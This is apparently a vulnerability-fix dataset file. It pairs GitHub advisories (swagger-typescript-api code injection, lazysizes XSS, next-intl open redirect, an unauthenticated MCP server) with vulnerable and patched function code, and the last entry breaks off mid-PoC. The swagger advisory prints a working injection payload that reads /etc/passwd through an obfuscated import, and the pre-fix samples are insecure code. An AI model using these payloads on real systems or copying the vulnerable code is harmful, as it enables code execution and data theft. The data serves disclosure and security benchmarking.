[[case]] advisory = "GHSA-w284-33mx-6g9v" advisory_text = "swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies\n\n### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ … }` survives `parseRouteName`'s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `<%~ path %>`,\n```\n\nThe `<%~ %>` is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${…}` inside the path becomes a live JS expression evaluated when the method's `path` template is evaluated — i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n this.request({\n path: `/api/${(async () => {\n // ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()\n // — full Node.js capabilities: dynamic import('node:fs'), child_process,\n // network egress, environment access, etc.\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nBiome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from('bm9kZTpmcw==','base64').toString()` — base64 contains no `:`, decodes to `'node:fs'` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed `this.request` so there is no real network egress → check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [{ \"url\": \"https://api.example.com\" }],\n \"paths\": {\n \"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items\": {\n \"get\": {\n \"operationId\": \"evilCall\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n name: 'Api.ts', output: process.cwd() + '/out',\n input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n const mod = await import('./out/Api.bundle.mjs');\n const api = new mod.Api();\n // Stub the request implementation so there is no real network call —\n // only the path template literal is evaluated, which is what fires the IIFE.\n api.request = async () => ({ ok: true });\n const group = api.api;\n await group[Object.keys(group)[0]]();\n await new Promise(r => setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary && cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body — payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n this.request({\n path: `/api/${(async () => {\n try {\n const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n const f = await import(m);\n const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n f.writeFileSync(\"/tmp/sta_canary\", d);\n } catch (e) {}\n return \"x\";\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets — any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces — any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)" commit = "306d59acb8ffbb00f953f807b97234b21f51d9de" cwe = "CWE-1336" family = "injection" function = "warmUpRemoteSchemasCache" function_lines = [[399, 446]] id = "acacode-swagger-typescript-api-c4257c99ff0cfe5f" language = "typescript" method = "fix_site" parent = "de76b586072c1723c6749b177d648e11363ef19a" path = "src/resolved-swagger-schema.ts" post_fix = " private async warmUpRemoteSchemasCache() {\n if (\n typeof this.config.url !== \"string\" ||\n !this.isHttpUrl(this.config.url)\n ) {\n return;\n }\n\n const visited = new Set();\n const queue = [this.stripHash(this.config.url)];\n\n while (queue.length > 0) {\n const currentUrl = queue.shift();\n if (!currentUrl || visited.has(currentUrl)) {\n continue;\n }\n visited.add(currentUrl);\n\n if (this.externalSchemaCache.has(currentUrl)) {\n continue;\n }\n\n const schema = await this.fetchRemoteSchemaDocument(currentUrl);\n if (!schema) {\n continue;\n }\n\n this.externalSchemaCache.set(currentUrl, schema);\n\n for (const ref of this.extractRefsFromSchema(schema)) {\n const normalizedRef = this.normalizeRef(ref);\n if (normalizedRef.startsWith(\"#\")) {\n continue;\n }\n\n const [externalPath = \"\"] = normalizedRef.split(\"#\");\n if (!externalPath) {\n continue;\n }\n\n const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n if (\n absoluteUrl &&\n !visited.has(absoluteUrl) &&\n (await isRemoteSchemaFetchAllowed(absoluteUrl, {\n specSourceUrl: this.config.url,\n }))\n ) {\n queue.push(absoluteUrl);\n }\n }\n }\n }\n" pre_fix = " private async warmUpRemoteSchemasCache() {\n if (\n typeof this.config.url !== \"string\" ||\n !this.isHttpUrl(this.config.url)\n ) {\n return;\n }\n\n const visited = new Set();\n const queue = [this.stripHash(this.config.url)];\n\n while (queue.length > 0) {\n const currentUrl = queue.shift();\n if (!currentUrl || visited.has(currentUrl)) {\n continue;\n }\n visited.add(currentUrl);\n\n if (this.externalSchemaCache.has(currentUrl)) {\n continue;\n }\n\n const schema = await this.fetchRemoteSchemaDocument(currentUrl);\n if (!schema) {\n continue;\n }\n\n this.externalSchemaCache.set(currentUrl, schema);\n\n for (const ref of this.extractRefsFromSchema(schema)) {\n const normalizedRef = this.normalizeRef(ref);\n if (normalizedRef.startsWith(\"#\")) {\n continue;\n }\n\n const [externalPath = \"\"] = normalizedRef.split(\"#\");\n if (!externalPath) {\n continue;\n }\n\n const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n if (absoluteUrl && !visited.has(absoluteUrl)) {\n queue.push(absoluteUrl);\n }\n }\n }\n }\n" repo = "acacode/swagger-typescript-api" url = "https://github.com/acacode/swagger-typescript-api.git" [[case]] advisory = "GHSA-w284-33mx-6g9v" advisory_text = "swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies\n\n### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ … }` survives `parseRouteName`'s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `<%~ path %>`,\n```\n\nThe `<%~ %>` is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${…}` inside the path becomes a live JS expression evaluated when the method's `path` template is evaluated — i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n this.request({\n path: `/api/${(async () => {\n // ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()\n // — full Node.js capabilities: dynamic import('node:fs'), child_process,\n // network egress, environment access, etc.\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nBiome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from('bm9kZTpmcw==','base64').toString()` — base64 contains no `:`, decodes to `'node:fs'` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed `this.request` so there is no real network egress → check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [{ \"url\": \"https://api.example.com\" }],\n \"paths\": {\n \"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items\": {\n \"get\": {\n \"operationId\": \"evilCall\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n name: 'Api.ts', output: process.cwd() + '/out',\n input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n const mod = await import('./out/Api.bundle.mjs');\n const api = new mod.Api();\n // Stub the request implementation so there is no real network call —\n // only the path template literal is evaluated, which is what fires the IIFE.\n api.request = async () => ({ ok: true });\n const group = api.api;\n await group[Object.keys(group)[0]]();\n await new Promise(r => setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary && cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body — payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n this.request({\n path: `/api/${(async () => {\n try {\n const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n const f = await import(m);\n const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n f.writeFileSync(\"/tmp/sta_canary\", d);\n } catch (e) {}\n return \"x\";\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets — any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces — any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)" commit = "306d59acb8ffbb00f953f807b97234b21f51d9de" cwe = "CWE-1336" family = "injection" function = "create" function_lines = [[904, 975]] id = "acacode-swagger-typescript-api-e64e7a7e89c832b6" language = "typescript" method = "fix_site" parent = "de76b586072c1723c6749b177d648e11363ef19a" path = "src/resolved-swagger-schema.ts" post_fix = " static async create(\n config: CodeGenConfig,\n usageSchema: OpenAPI.Document,\n originalSchema: OpenAPI.Document,\n originalProducesByRoute?: Record>,\n ) {\n const resolvers: Awaited>[] = [];\n\n const options: SwaggerParser.Options = {\n continueOnError: true,\n mutateInputSchema: true,\n dereference: {},\n validate: {\n schema: false,\n spec: false,\n },\n resolve: {\n external: true,\n http: {\n ...config.requestOptions,\n headers: config.requestOptions?.headers ?? {},\n },\n },\n };\n\n try {\n resolvers.push(\n await SwaggerParser.resolve(\n originalSchema,\n // this.config.url || this.config.input || (this.config.spec as any),\n options,\n ),\n );\n } catch (e) {\n consola.debug(e);\n }\n try {\n resolvers.push(await SwaggerParser.resolve(usageSchema, options));\n } catch (e) {\n consola.debug(e);\n }\n try {\n resolvers.push(\n await SwaggerParser.resolve(\n config.url || config.input || (config.spec as OpenAPI.Document),\n options,\n ),\n );\n } catch (e) {\n consola.debug(e);\n }\n\n const resolvedSwaggerSchema = new ResolvedSwaggerSchema(\n config,\n usageSchema,\n originalSchema,\n resolvers,\n originalProducesByRoute,\n );\n\n await resolvedSwaggerSchema.warmUpRemoteSchemasCache();\n\n return resolvedSwaggerSchema;\n }" pre_fix = " static async create(\n config: CodeGenConfig,\n usageSchema: OpenAPI.Document,\n originalSchema: OpenAPI.Document,\n originalProducesByRoute?: Record>,\n ) {\n const resolvers: Awaited>[] = [];\n\n const options: SwaggerParser.Options = {\n continueOnError: true,\n mutateInputSchema: true,\n dereference: {},\n validate: {\n schema: false,\n spec: false,\n },\n resolve: {\n external: true,\n http: {\n ...config.requestOptions,\n headers: Object.assign(\n {},\n config.authorizationToken\n ? {\n Authorization: config.authorizationToken,\n }\n : {},\n config.requestOptions?.headers ?? {},\n ),\n },\n },\n };\n\n try {\n resolvers.push(\n await SwaggerParser.resolve(\n originalSchema,\n // this.config.url || this.config.input || (this.config.spec as any),\n options,\n ),\n );\n } catch (e) {\n consola.debug(e);\n }\n try {\n resolvers.push(await SwaggerParser.resolve(usageSchema, options));\n } catch (e) {\n consola.debug(e);\n }\n try {\n resolvers.push(\n await SwaggerParser.resolve(\n config.url || config.input || (config.spec as OpenAPI.Document),\n options,\n ),\n );\n } catch (e) {\n consola.debug(e);\n }\n\n const resolvedSwaggerSchema = new ResolvedSwaggerSchema(\n config,\n usageSchema,\n originalSchema,\n resolvers,\n originalProducesByRoute,\n );\n\n await resolvedSwaggerSchema.warmUpRemoteSchemasCache();\n\n return resolvedSwaggerSchema;\n }" repo = "acacode/swagger-typescript-api" url = "https://github.com/acacode/swagger-typescript-api.git" [[case]] advisory = "GHSA-hg2p-2cvq-4ppv" advisory_text = "Cross-site scripting in lazysizes\n\nlazysizes through 5.2.0 allows execution of malicious JavaScript. The following attributes are not sanitized by the video-embed plugin: `data-vimeo`, `data-vimeoparams`, `data-youtube` and `data-ytparams` which can be abused to inject malicious JavaScript." commit = "3720ab8262552d4e063a38d8492f9490a231fd48" cwe = "CWE-79" family = "output_encoding" function = "embedVimeoIframe" function_lines = [[62, 79]] id = "afarkas-lazysizes-7b62735d3e5d1714" language = "javascript" method = "fix_site" parent = "a2f37ec2371bff523ea8b94800682e4ec3596b9b" path = "plugins/video-embed/ls.video-embed.js" post_fix = "\tfunction embedVimeoIframe(e){\n\t\tvar elem = e.currentTarget;\n\t\tvar id = elem.getAttribute('data-vimeo');\n\t\tvar vimeoParams = elem.getAttribute('data-vimeoparams') || '';\n\n\t\telem.removeEventListener('click', embedVimeoIframe);\n\n\t\tif (!id || !regValidParam.test(id) || (vimeoParams && !regValidParam.test(vimeoParams))) {\n\t\t\treturn;\n\t\t}\n\n\t\tif(vimeoParams && !regAmp.test(vimeoParams)){\n\t\t\tvimeoParams = '&'+ vimeoParams;\n\t\t}\n\n\t\te.preventDefault();\n\n\t\telem.innerHTML = ''\n\t\t;\n\n\t}\n" pre_fix = "\tfunction embedVimeoIframe(e){\n\t\tvar elem = e.currentTarget;\n\t\tvar id = elem.getAttribute('data-vimeo');\n\t\tvar vimeoParams = elem.getAttribute('data-vimeoparams') || '';\n\n\t\tif(vimeoParams && !regAmp.test(vimeoParams)){\n\t\t\tvimeoParams = '&'+ vimeoParams;\n\t\t}\n\n\t\te.preventDefault();\n\n\t\telem.innerHTML = ''\n\t\t;\n\n\t\telem.removeEventListener('click', embedVimeoIframe);\n\t}\n" repo = "afarkas/lazysizes" url = "https://github.com/aFarkas/lazysizes.git" [[case]] advisory = "GHSA-hg2p-2cvq-4ppv" advisory_text = "Cross-site scripting in lazysizes\n\nlazysizes through 5.2.0 allows execution of malicious JavaScript. The following attributes are not sanitized by the video-embed plugin: `data-vimeo`, `data-vimeoparams`, `data-youtube` and `data-ytparams` which can be abused to inject malicious JavaScript." commit = "3720ab8262552d4e063a38d8492f9490a231fd48" cwe = "CWE-79" family = "output_encoding" function = "embedYoutubeIframe" function_lines = [[87, 119]] id = "afarkas-lazysizes-99fc6cf6e6f1f846" language = "javascript" method = "fix_site" parent = "a2f37ec2371bff523ea8b94800682e4ec3596b9b" path = "plugins/video-embed/ls.video-embed.js" post_fix = "\tfunction embedYoutubeIframe(e){\n\t\tvar elem = e.currentTarget;\n\t\tvar id = elem.getAttribute('data-youtube');\n\t\tvar youtubeParams = elem.getAttribute('data-ytparams') || '';\n\n\t\telem.removeEventListener('click', embedYoutubeIframe);\n\n\t\tif (!id || !regValidParam.test(id) || (youtubeParams && !regValidParam.test(youtubeParams))) {\n\t\t\treturn;\n\t\t}\n\n\t\tif(youtubeParams && !regAmp.test(youtubeParams)){\n\t\t\tyoutubeParams = '&'+ youtubeParams;\n\t\t}\n\n\t\te.preventDefault();\n\n\t\telem.innerHTML = ''\n\t\t;\n\t}\n\n\tdocument.addEventListener('lazybeforeunveil', function(e){\n\t\tif(e.detail.instance != lazySizes){return;}\n\n\t\tvar elem = e.target;\n\t\tvar youtube = elem.getAttribute('data-youtube');\n\t\tvar vimeo = elem.getAttribute('data-vimeo');\n\n\t\tif(youtube && elem){\n\t\t\tembedYoutubeImg(youtube, elem);\n\t\t}\n\t\tif(vimeo && elem){\n\t\t\tembedVimeoImg(vimeo, elem);\n\t\t}\n\t});\n}));" pre_fix = "\tfunction embedYoutubeIframe(e){\n\t\tvar elem = e.currentTarget;\n\t\tvar id = elem.getAttribute('data-youtube');\n\t\tvar youtubeParams = elem.getAttribute('data-ytparams') || '';\n\n\t\tif(youtubeParams && !regAmp.test(youtubeParams)){\n\t\t\tyoutubeParams = '&'+ youtubeParams;\n\t\t}\n\n\t\te.preventDefault();\n\n\t\telem.innerHTML = ''\n\t\t;\n\n\t\telem.removeEventListener('click', embedYoutubeIframe);\n\t}\n\n\tdocument.addEventListener('lazybeforeunveil', function(e){\n\t\tif(e.detail.instance != lazySizes){return;}\n\n\t\tvar elem = e.target;\n\t\tvar youtube = elem.getAttribute('data-youtube');\n\t\tvar vimeo = elem.getAttribute('data-vimeo');\n\n\t\tif(youtube && elem){\n\t\t\tembedYoutubeImg(youtube, elem);\n\t\t}\n\t\tif(vimeo && elem){\n\t\t\tembedVimeoImg(vimeo, elem);\n\t\t}\n\t});\n}));" repo = "afarkas/lazysizes" url = "https://github.com/aFarkas/lazysizes.git" [[case]] advisory = "GHSA-8f24-v5vv-gm5j" advisory_text = "next-intl has an open redirect vulnerability\n\n### Impact\n\nApplications using the `next-intl` middleware with `localePrefix: 'as-needed'` could construct URLs where path handling and the WHATWG URL parser resolved a relative redirect target to another host (e.g. scheme-relative `//` or control characters stripped by the URL parser), so the middleware could redirect the browser off-site while the user still started from a trusted app URL.\n\n### Patches\n\nThe problem has been patched, please update to [`next-intl@4.9.1`](https://github.com/amannn/next-intl/releases/tag/v4.9.1).\n\n### Credits\n\nMany thanks to [Joni Liljeblad](https://github.com/joniumGit) from [Oura](https://ouraring.com) for responsibly disclosing the vulnerability and for suggesting the fix." commit = "1c80b668aa6d853f470319eec10a3f61e78a70e6" cwe = "CWE-601" family = "untrusted_destination" function = "sanitizePathname" function_lines = [[323, 328]] id = "amannn-next-intl-10fdf55408ba9a03" language = "typescript" method = "fix_site" parent = "b65f8c4e88ad3f2ac8df3443b6cdd66c08c19e60" path = "packages/next-intl/src/middleware/utils.tsx" post_fix = "export function sanitizePathname(pathname: string) {\n // Sanitize malicious URIs, e.g.:\n // '/en/\\\\example.org' → '/en/%5Cexample.org' (backslash → %5C)\n // '/en/\\t/example.org' → '/en/example.org' (WHATWG-stripped TAB)\n // '/en/\\n/example.org' → '/en/example.org' (WHATWG-stripped LF)\n // '/en/\\r/example.org' → '/en/example.org' (WHATWG-stripped CR)\n // '/en////example.org' → '/en/example.org' (consecutive slashes)\n //\n // U+0009/000A/000D are silently stripped by the WHATWG URL parser\n // (https://url.spec.whatwg.org/#concept-url-parser). Without removing\n // them here, a decoded TAB in a segment separator position causes\n // new URL(\"/\\t/host\", base) to collapse to \"//host\" → open redirect.\n return pathname\n .replace(/\\\\/g, '%5C')\n .replace(/[\\t\\n\\r]/g, '')\n .replace(/\\/+/g, '/');\n}" pre_fix = "export function sanitizePathname(pathname: string) {\n // Sanitize malicious URIs, e.g.:\n // '/en/\\\\example.org → /en/%5C%5Cexample.org'\n // '/en////example.org → /en/example.org'\n return pathname.replace(/\\\\/g, '%5C').replace(/\\/+/g, '/');\n}" repo = "amannn/next-intl" url = "https://github.com/amannn/next-intl.git" [[case]] advisory = "GHSA-6f5r-5672-72j7" advisory_text = "@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default\n\n### Summary\n\n`@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication.\n\nAs a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.\n\nThe issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.\n\n### Details\n\nThe README documents that the Web UI starts automatically and tells users to open:\n\n```text\nhttp://localhost:3080\n```\n\nIt also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults.\n\nThe vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.\n\nIn `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`:\n\n```ts\nif (process.env.START_WEB_UI !== 'false') {\n initializeDocumentManager().then(manager => {\n return startWebServer(undefined, manager);\n }).then(() => {\n console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');\n })...\n}\n```\n\nIn `src/web-server.ts`, the Express app appears to listen with only the port:\n\n```ts\nconst server = app.listen(PORT, () => {\n console.log(`\\n 🌐 MCP Documentation Server - Web UI`);\n console.log(` ────────────────────────────────────`);\n console.log(` Local: http://localhost:${PORT}`);\n console.log(` Network: http://0.0.0.0:${PORT}\\n`);\n});\n```\n\nWith Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThe exposed API includes document-admin operations such as:\n\n```text\nGET /api/documents\nGET /api/documents/:id\nPOST /api/documents\nPOST /api/search-all\nDELETE /api/documents/:id\nGET /api/config\n```\n\nI did not send any `Authorization` header in the PoC requests, and all tested operations succeeded.\n\n### PoC\n\nTested on v1.13.0.\n\n#### 1. Build from source\n\n```bash\ncd ~/Desktop\nmkdir -p docsrv_repro_from_scratch\ncd docsrv_repro_from_scratch\n\ngit clone https://github.com/andrea9293/mcp-documentation-server.git\ncd mcp-documentation-server\n\ngit rev-parse HEAD\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/server.js\nnode -p \"require('./package.json').version\"\n```\n\nExpected version:\n\n```text\n1.13.0\n```\n\n#### 2. Start the server with default Web UI behavior\n\nDo not set `START_WEB_UI=false`.\n\n```bash\nrm -rf /tmp/docsrv_base\nmkdir -p /tmp/docsrv_base\n\nMCP_BASE_DIR=/tmp/docsrv_base \\\nWEB_PORT=3080 \\\nnode dist/server.js \\\n /tmp/docsrv_stdout.log \\\n 2>/tmp/docsrv_stderr.log &\n\nDOCSRV_PID=$!\nsleep 5\n\necho \"DOCSRV_PID=$DOCSRV_PID\"\nps -p \"$DOCSRV_PID\" -o pid,stat,cmd\n```\n\n#### 3. Confirm that the Web UI/API binds to all interfaces\n\n```bash\nss -ltnp | grep ':3080' || true\n```\n\nObserved:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThis indicates the service is not bound only to `127.0.0.1`.\n\n#### 4. Confirm that the API is reachable through the LAN IP\n\n```bash\nLAN_IP=$(hostname -I | awk '{print $1}')\necho \"LAN_IP=$LAN_IP\"\n\ncurl -sS --max-time 5 